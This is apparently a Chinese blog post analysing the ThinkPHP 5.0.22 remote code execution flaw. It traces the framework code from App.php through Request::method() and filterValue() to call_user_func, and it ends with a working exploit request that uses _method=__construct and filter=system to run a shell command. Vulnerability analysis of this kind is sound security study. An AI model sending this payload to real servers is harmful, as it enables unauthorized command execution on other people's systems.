thinkphp 5.0.22 RCE分析

今天深入学习了一下thinkphp框架,打算分析复现一下thinkphp相关的洞

https://paper.seebug.org/888/

thinkphp框架从App.php文件开始执行应用,看一下app.run的源码中的注释可以了解到大致执行流程

  1. $this->initialize(),首先会初始化一些应用。例如:加载配置文件、设置路径环境变量和注册应用命名空间等等。
  2. this->hook->listen(‘app_init’); 监听app_init应用初始化标签位。Thinkphp中有很多标签位置,也可以把这些标签位置称为钩子,在每个钩子处我们可以配置行为定义,通俗点讲,就是你可以往钩子里添加自己的业务逻辑,当程序执行到某些钩子位置时将自动触发你的业务逻辑。
  3. 模块\入口绑定 进行一些绑定操作,这个需要配置才会执行。默认情况下,这两个判断条件均为false。
  4. $this->hook->listen(‘app_dispatch’);监听app_dispatch应用调度标签位。和2中的标签位同理,所有标签位作用都是一样的,都是定义一些行为,只不过位置不同,定义的一些行为的作用也有所区别。
  5. $dispatch = $this->routeCheck()->init(); 开始路由检测,检测的同时会对路由进行解析,利用array_shift函数一一获取当前请求的相关信息(模块、控制器、操作等)。
  6. $this->request->dispatch($dispatch);记录当前的调度信息,保存到request对象中。
  7. 记录路由和请求信息
  8. $this->hook->listen(‘app_begin’); 监听app_begin(应用开始标签位)。
  9. 根据获取的调度信息执行路由调度 期间会调用Dispatch类中的exec()方法对获取到的调度信息进行路由调度并最终获取到输出数据$response。然后将$response返回,最后调用Response类中send()方法,发送数据到客户端,将数据输出到浏览器页面上。 在应用的数据响应输出之后,系统会进行日志保存写入操作,并最终结束程序运行。

App.php中最终执行的代码为

1
$data = self::exec($dispatch, $config);

传入的两个参数为$dispatch和$config,跟进exec

image-20200209163802238

可以看到exec()方法根据$dispatch的值选择进入不同的分支,当进入method分支时,调用Request::instance()->param()方法,跟进param()

image-20200209163942788

看到调用了Request类的method()方法,跟进

image-20200209164324880

可以看到当$method为true是,会调用server方法,继续跟入

image-20200209164456761

在返回中会调用input方法,继续跟入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}

先解析过滤器,然后调用了filterValue,继续跟入

image-20200209164815490

此处调用了call_user_func,如果两个参数都可控,就会造成命令执行,所以关键点在于如何使传入的参数可控,开始回溯

在 ThinkPHP5 完整版中,定义了验证码类的路由地址?s=captcha,默认这个方法就能使$dispatch=method从而进入Request::instance()->param()

image-20200209172445426

在app.php的url路由检测过程

1
2
3
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

跟进routeCheck

1
2
3
4
5
6
7
8
9
10
11
12
public static function routeCheck($request, array $config)
{
...

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

...

return $result;
}

跟进check,里边关键点

1
2
3
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];

$method$request->method()获得,$rules会根据$method的不同而获得不同的路由规则

跟进$request->method()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

漏洞点在这里,通过外部传入Config::get('var_method')可以造成该类的任意方法调用。全局搜索一下

image-20200209162621985

因此通过POST一个_method参数,即可进入判断,并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组,然后看一下Request类的构造函数

image-20200209170228021

可以看到在构造函数中可以覆盖任意变量,所以这里的利用思路就是通过调用Request类的构造函数来覆盖关键值,导致传入到call_user_func中的值可控,造成RCE,exp如下

1
2
3
POST /?s=captcha

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

利用结果如下

image-20200209173304698

0%